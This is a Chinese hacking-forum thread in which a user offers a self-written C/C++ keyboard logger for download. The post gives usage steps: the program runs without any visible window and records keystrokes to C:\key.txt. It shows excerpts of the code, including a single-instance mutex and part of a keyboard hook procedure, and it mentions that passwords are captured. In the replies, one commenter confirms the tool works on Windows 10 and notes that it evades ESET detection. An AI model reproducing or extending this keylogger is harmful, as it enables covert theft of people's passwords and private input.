吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 15127|回复: 37
收起左侧

[C&C++ 转载] 按键记录器(2018.7.1)

  [复制链接]
爱学习的小仙女 发表于 2018-7-1 22:00
本帖最后由 爱学习的小仙女 于 2018-7-1 22:14 编辑

按键记录器(2018.7.1)

学习编程也有一段时间了,闲暇之余编写了这个程序,以此来纪念完成的课程设计。

源代码在压缩包里面,程序是使用vs2017编写的。
源代码网上也有大部分是使用 c#,c++写的,看的头晕,就结合c,重写了下。

文件名:按键记录器(2018.7.1).7z
大小: 14697 字节
修改时间: 2018年7月1日, 21:29:00
MD5: 0848B985D717129188DADCA6699177E0
SHA1: E430A38B5D63747D3D2FD3DF803FB58C7B23F3A2
CRC32: 634D71C0

使用说明

需要这两个文件,文件在Release目录下(解压后放在同一个文件夹下面才能运行)
文件: KeyboardRecorder.exe
文件: Keyboard.dll
1、双击KeyboardRecorder.exe,(看起来没反应的),然后按任意按键,此时按键已经被记录在 C:\key.txt 中
2、双击KeyboardRecorder.exe,结束程序运行 ,弹出对话框提示。
3、返回查看 C:\key.txt

可以记录大部分的按键消息
tips:
1、为什么输入的密码被记录的不正确?
答:不知道
2、为什么不能记录中文?
答:我不知道
3、....
4、........
我不知道
我什么也不知道


部分代码:
阻止程序多次打开的一种实现方式
[Asm] 纯文本查看 复制代码
 hObject = ::CreateMutex(NULL, FALSE, TEXT("Mutex20180630"));
        if (GetLastError() == ERROR_ALREADY_EXISTS)
        {
                CloseHandle(hObject);
                HWND hKeyWnd = FindWindow(TEXT("KeyboardRecord"), TEXT("键盘记录器"));
                if (hKeyWnd == NULL)
                {
                        MessageBox(NULL, TEXT("发生错误!"), TEXT("提示"), MB_OK);
                        return FALSE;
                }
                PostMessage(hKeyWnd, WM_DESTROY, NULL, NULL);
                MessageBox(NULL, TEXT("按键已记录(C盘 key.txt),点击结束程序运行!"), TEXT("提示"), MB_OK);
                return FALSE;
        }


处理:
[Asm] 纯文本查看 复制代码
        //获取激活窗口
        HWND hWnd = GetActiveWindow();
        if (hWnd == NULL)
        {
                //获取最前端的窗口
                hWnd = GetForegroundWindow();
                if (hWnd == NULL)
                        return CallNextHookEx(g_hHook, nCode, wParam, lParam);
        }
        if (nCode < 0 || nCode == HC_NOREMOVE)
                return CallNextHookEx(g_hHook, nCode, wParam, lParam);

        //(重复的消息)
        //         if (lParam & 0x40000000)//只对WM_DOWN进行响应 
        //                 return CallNextHookEx(g_hHook, nCode, wParam, lParam);

        bool kEydown;//按键按下为1,弹起为0
        if (!(lParam & 0x40000000))//按键弹起响应
                kEydown = true;//按下
        else
                kEydown = false;//弹起

        //(1)nCode:查MSDN,这个参数用来决定如何处理得到的消息
        //  < 0时返回CallNextHookEx,把消息传递到下去。还有下面两个值
        //HC_ACTION:表示后面两个参数包含按下键值的消息
        //HC_NOREMOVE:表示后面两个参数包含键值消息,且消息没有移出消息队列。
        //(2)wParam:虚拟键值产生的消息
        //(3)lParam:值范围0~31。= 0表示某键弹起



稍后编辑

按键记录器(2018.7.1).7z

14.35 KB, 阅读权限: 1, 下载次数: 723, 下载积分: 吾爱币 -1 CB

免费评分

参与人数 8吾爱币 +10 热心值 +8 收起 理由
GetProcessId + 1 + 1 用心讨论,共获提升!
zc444 + 1 + 1 谢谢@Thanks!
ahhlxy123 + 1 + 1 用心讨论,共获提升!
kk1212 + 1 + 1 谢谢@Thanks!
as7393465 + 1 + 1 用心讨论,共获提升!
帝傲世 + 1 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
兔子我是胡萝卜 + 3 + 1 用心讨论,共获提升!
疯狂的倔驴 + 1 + 1 热心回复!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

xxs297962262 发表于 2018-7-1 22:59
C盘并没有生成出key.txt 无效
帝天 发表于 2018-7-1 23:23
亲测。win10有效。贼鸡儿6。回头我也研究一下代码。这种有趣的东西最喜欢了。而且过ESET的潜在不安全(我使用E语言写的键盘记录,100%被检测。)研究下原理。
宁采成 发表于 2018-7-1 22:20
Perry 发表于 2018-7-1 22:44
女程序猿 顶一哈
Anakin 发表于 2018-7-1 22:46
是用在什么平台上的  楼主  好啦  我自己试试吧   蟹蟹啦
疯狂的倔驴 发表于 2018-7-1 22:53 来自手机
哟,女的程序猿嘞,必须支持一下
13735832550 发表于 2018-7-1 23:10 来自手机
不错啊  知错了
我才不是狮子喵 发表于 2018-7-1 23:49
感谢分享,楼主辛苦了!~~
黑色魔方 发表于 2018-7-2 00:41
感谢分享
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-11-16 15:41

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表